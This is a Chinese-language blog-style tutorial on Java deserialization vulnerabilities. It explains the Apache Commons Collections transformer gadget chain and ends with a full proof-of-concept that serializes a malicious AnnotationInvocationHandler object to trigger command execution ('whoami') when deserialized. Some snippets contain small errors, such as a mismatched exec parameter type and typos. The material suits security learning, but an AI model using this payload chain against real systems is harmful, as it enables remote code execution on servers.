零、Java反序列化漏洞
java的安全問題首屈一指的就是反序列化漏洞,可以執行命令啊,甚至直接getshell,所以趁着這個假期好好研究一下java的反序列化漏洞。另外呢,組里多位大佬對反序列化漏洞都有頗深的研究,借此機會,努力學習,作為狼群中的哈士奇希望成功的繼續偽裝下去,不被識破,哈哈哈哈!!!
參考文檔:感謝所有參考文獻的作者:
1、https://www.cnblogs.com/bencakes/p/6139477.html
2、https://www.cnblogs.com/ssooking/p/5875215.html
3、https://www.cnblogs.com/xdp-gacl/p/3777987.html
一、Java的序列化與反序列化:
在這里我們直接自己定義一個類,然后對這個類的對象(一個實例)進行序列化和發序列化測試。
1 //引入必要的java包文件 2 import java.io.*; 3 4 //創建測試類,注意要繼承Serializable接口 5 class serialdemo implements Serializable{ 6 public static int number; 7 public serialdemo(int inputnum) { 8 this.number = inputnum; 9 } 10 } 11 12 //主類 13 public class test{ 14 //測試主類 15 public static void main(String[] args) throws IOException, ClassNotFoundException { 16 //主函數入口 17 serialdemo object = new serialdemo(100); 18 FileOutputStream fileoutputstream = new FileOutputStream("serail.ser");//創建文件寫入對象 19 ObjectOutputStream outputstream = new ObjectOutputStream(fileoutputstream);//創建類型序列化通道對象 20 outputstream.writeObject(object);//把類對象(實例)序列化進入文件 21 outputstream.close(); 22 FileInputStream fileinputstream = new FileInputStream("serail.ser");//從文件讀取對象 23 ObjectInputStream inputstream = new ObjectInputStream(fileinputstream);//對象反序列化 24 // 通過反序列化恢復對象obj 25 serialdemo object2 = (serialdemo)inputstream.readObject(); 26 System.out.println("反序列化后的對象的值:"); 27 System.out.println(object2.number); 28 inputstream.close(); 29 } 30 }
既然自己定義的類都可以了,那么默認的java存在的數據類型的實例當然也都可以啦~運行結果如下:
1 └─[$]> java test 2 反序列化后的對象的值: 3 100
二、對java序列化的詳解:
1、api定位:
1 /* 2 java.io.ObjectOutputStream -> writeObject() 3 java.io.ObjectInputStream -> readObject() 4 序列化把對象序列化成字節流 5 反序列化讀取字節流反序列化對象 6 */
2、實現Serializable和Externalizable接口的類才能序列化與反序列化。
3、java的反射機制:
/* 在java運行狀態中 1.對於任何一個類,都能判斷對象所屬的類; 2.對於任何一個類,都能獲取其所有的屬性和方法; 3.對於任何一個對象,都能調用任意一個方法和屬性; */
三、反序列化的漏洞原理概述:
1、由於很多站點或者RMI倉庫等接口處存在java的反序列化功能,攻擊者可以通過構造特定的惡意對象序列化后的流,讓目標反序列化,從而達到自己的惡意預期行為,包括命令執行,甚至getshell等等。
2、Apache Commons Collections
這是開源小組Apache研發的一個Collections收集器框架,提供諸如list、set、queue等功能對象。這個框架中有一個接口,其中有一個實現該接口的類可以通過調用java的反射機制來調用任意函數,這個接口類是InvokerTransformer。這個架構的廣泛使用,也導致了java反序列化漏洞的大面積流行。
3、java執行系統命令:
1 //命令執行函數 2 public void test() throws IOException, InterruptedException { 3 Process process = Runtime.getRuntime().exec("whoami"); 4 InputStream inputstream = process.getInputStream(); 5 BufferedReader reader = new BufferedReader(new InputStreamReader(inputstream)); 6 process.waitFor(); 7 if (process.exitValue() != 0) { 8 //說明命令執行失敗 9 //可以進入到錯誤處理步驟中 10 } 11 //打印輸出信息 12 String s = null; 13 while ((s = reader.readLine()) != null) { 14 System.out.println(s); 15 } 16 }
簡介:
Runtime.getRuntime().exec("command_string");
回顯呢:
Process process = Runtime.getRuntime().exec("command_string");
InputStream inputstream = process.getInputStream();
BufferReader reader = new BufferReader(new InputStreamReader(inputstream));
System.out.prinln(reader.readLine());
把上面結合起來就是序列化的打法。
四、關於反射鏈
以前一直不理解反射鏈是什么定西,現在我們來看看接口源代碼:
我們來理一理這一段:
開始:
可以看出來這個方法,屬於一個對象,輸出另外一個對象,完成了類型的轉換。同時這個接口還可以串聯完成一系列的轉換,構成反射鏈。
Apache Commons Collections中已經實現了一些常見的Transformer,其中有一個可以通過Java的反射機制來調用任意函數,叫做InvokerTransformer,代碼如下:
1 public class InvokerTransformer implements Transformer, Serializable { 2 3 ... 4 5 /* 6 Input參數為要進行反射的對象, 7 iMethodName,iParamTypes為調用的方法名稱以及該方法的參數類型 8 iArgs為對應方法的參數 9 在invokeTransformer這個類的構造函數中我們可以發現,這三個參數均為可控參數 10 */ 11 public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { 12 super(); 13 iMethodName = methodName; 14 iParamTypes = paramTypes; 15 iArgs = args; 16 } 17 18 public Object transform(Object input) { 19 if (input == null) { 20 return null; 21 } 22 try { 23 Class cls = input.getClass(); 24 Method method = cls.getMethod(iMethodName, iParamTypes); 25 return method.invoke(input, iArgs); 26 27 } catch (NoSuchMethodException ex) { 28 throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); 29 } catch (IllegalAccessException ex) { 30 throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); 31 } catch (InvocationTargetException ex) { 32 throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); 33 } 34 } 35 36 }只需要傳入方法名、參數類型和參數,即可調用任意函數。
在這里,我們可以看到,先用ConstantTransformer()獲取了Runtime類,接着反射調用getRuntime函數,再調用getRuntime的exec()函數,執行命令。依次調用關系為: Runtime --> getRuntime --> exec()。因此,我們要提前構造 ChainedTransformer鏈,它會按照我們設定的順序依次調用Runtime, getRuntime,exec函數,進而執行命令。正式開始時,我們先構造一個TransformeMap實例,然后想辦法修改它其中的數據,使其自動調用tansform()方法進行特定的變換(即我們之前設定好的)
五、poc原理分析:
參考大牛博客,給出一個原理解釋知識點
1 ConstantTransformer 2 把一個對象轉化為常量,並返回。 3 4 InvokerTransformer 5 通過反射,返回一個對象 6 7 ChainedTransformer 8 ChainedTransformer為鏈式的Transformer,會挨個執行我們定義Transformer
不得不說上面大牛博客分析的大段的代碼原理我基本都不懂,因為不是java程序員的我對此真是摸不着頭腦,但是我們可以做如下總結:
1 /* 2 1、java反序列化可以遠程執行命令。 3 2、java執行命令用到Runtime.getRuntime().exec("whoami"); 4 3、java在apache commons collections中存在InvokerTransoformer接口可以串聯對對象進行轉化,形成反射鏈。 5 4、ConstantTransformer可以把對象轉換為常量返回。 6 5、ChainedTransformer為鏈式的Transformer,會挨個執行我們定義Transformer 7 6、AnnotationInvocationHandler類可以導致命令執行在readobject時候自動執行 8 */
POC的思路:
1 /* 2 1)首先構造一個Map和一個能夠執行代碼的ChainedTransformer, 3 2)生成一個TransformedMap實例 4 3)實例化AnnotationInvocationHandler,並對其進行序列化, 5 4)當觸發readObject()反序列化的時候,就能實現命令執行。 6 POC執行流程為 TransformedMap->AnnotationInvocationHandler.readObject()->setValue()- 漏洞成功觸發 7 */
分析大牛poc核心代碼邏輯:
1 /* 2 核心邏輯表達式: 3 ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit"); 4 主函數中: 5 1、定義一個要執行的命令字符串:String commandstring = "whoami"; 6 2、定義一個執行邏輯: 7 Transformer[] transformers = new Transformer[] { 8 new ConstantTransformer(Runtime.class), 9 new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}), 10 new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null, null}) 11 new InvokerTransformer("exec",new Class[] {String[].class},new Object[] {commandstring}) 12 } 13 3、執行邏輯轉化操作(ChainedTransformer類對象,傳入transformers數組,可以按照transformers數組的邏輯執行轉化操作): 14 Transformer transformedChain = new ChainedTransformer(transformers); 15 4、后面是關於不關心的東西,寫死即可: 16 Map<String,String> BeforeTransformerMap = new HashMap<String,String>(); 17 BeforeTransformerMap.put("hello", "hello"); 18 Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain); 19 Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 20 Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class); 21 ctor.setAccessible(true); 22 Object instance = ctor.newInstance(Target.class, AfterTransformerMap); 23 File f = new File("temp.bin"); 24 ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); 25 out.writeObject(instance); 26 */ 27 28 //引入必要的java包文件 29 import java.io.File; 30 import java.io.FileInputStream; 31 import java.io.FileNotFoundException; 32 import java.io.FileOutputStream; 33 import java.io.IOException; 34 import java.io.ObjectInputStream; 35 import java.io.ObjectOutputStream; 36 import java.lang.annotation.Retention; 37 import java.lang.reflect.Constructor; 38 import java.util.HashMap; 39 import java.util.Map; 40 import java.util.Map.Entry; 41 42 //引入第三方包文件,也就是關於apache的那幾個包 43 import org.apache.commons.collections.Transformer; 44 import org.apache.commons.collections.functors.ChainedTransformer; 45 import org.apache.commons.collections.functors.ConstantTransformer; 46 import org.apache.commons.collections.functors.InvokerTransformer; 47 import org.apache.commons.collections.map.TransformedMap; 48 49 //主類 50 public class POC_Test{ 51 public static void main(String[] args) throws Exception { 52 //定義待執行的命令: 53 String commandstring = "whoami"; 54 //定義一個反射鏈,確定預定的轉化邏輯 55 /* 56 定義一個反射鏈的方法: 57 Transformer[] varitename = new Transformer[] { 58 new ConstantTransformer(Runtime.class), 59 new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}), 60 new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null, null}) 61 new InvokerTransformer("exec",new Class[] {String[].class},new Object[] {commandstring}) 62 } 63 */ 64 Transformer[] transformers = new Transformer[] { 65 new ConstantTransformer(Runtime.class), 66 /* 67 由於Method類的invoke(Object obj,Object args[])方法的定義 68 所以在反射內寫new Class[] {Object.class, Object[].class } 69 正常POC流程舉例: 70 ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit"); 71 */ 72 new InvokerTransformer( 73 "getMethod", 74 new Class[] {String.class, Class[].class }, 75 new Object[] {"getRuntime", new Class[0] } 76 ), 77 new InvokerTransformer( 78 "invoke", 79 new Class[] {Object.class,Object[].class }, 80 new Object[] {null, null } 81 ), 82 new InvokerTransformer( 83 "exec", 84 new Class[] {String[].class }, 85 new Object[] { commandstring } 86 //new Object[] { execArgs } 87 ) 88 }; 89 90 //transformedChain: ChainedTransformer類對象,傳入transformers數組,可以按照transformers數組的邏輯執行轉化操作 91 Transformer transformedChain = new ChainedTransformer(transformers); 92 93 //BeforeTransformerMap: Map數據結構,轉換前的Map,Map數據結構內的對象是鍵值對形式,類比於python的dict 94 //Map<String, String> BeforeTransformerMap = new HashMap<String, String>(); 95 Map<String,String> BeforeTransformerMap = new HashMap<String,String>(); 96 BeforeTransformerMap.put("hello", "hello"); 97 98 //Map數據結構,轉換后的Map 99 /* 100 TransformedMap.decorate方法,預期是對Map類的數據結構進行轉化,該方法有三個參數。 101 第一個參數為待轉化的Map對象 102 第二個參數為Map對象內的key要經過的轉化方法(可為單個方法,也可為鏈,也可為空) 103 第三個參數為Map對象內的value要經過的轉化方法。 104 */ 105 //TransformedMap.decorate(目標Map, key的轉化對象(單個或者鏈或者null), value的轉化對象(單個或者鏈或者null)); 106 Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain); 107 Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 108 Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); 109 ctor.setAccessible(true); 110 Object instance = ctor.newInstance(Target.class, AfterTransformerMap); 111 File f = new File("temp.bin"); 112 ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); 113 out.writeObject(instance); 114 } 115 } 116 117 /* 118 思路:構建BeforeTransformerMap的鍵值對,為其賦值, 119 利用TransformedMap的decorate方法,對Map數據結構的key/value進行transforme 120 對BeforeTransformerMap的value進行轉換,當BeforeTransformerMap的value執行完一個完整轉換鏈,就完成了命令執行 121 122 執行本質: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(.........) 123 利用反射調用Runtime() 執行了一段系統命令, Runtime.getRuntime().exec() 124 125 */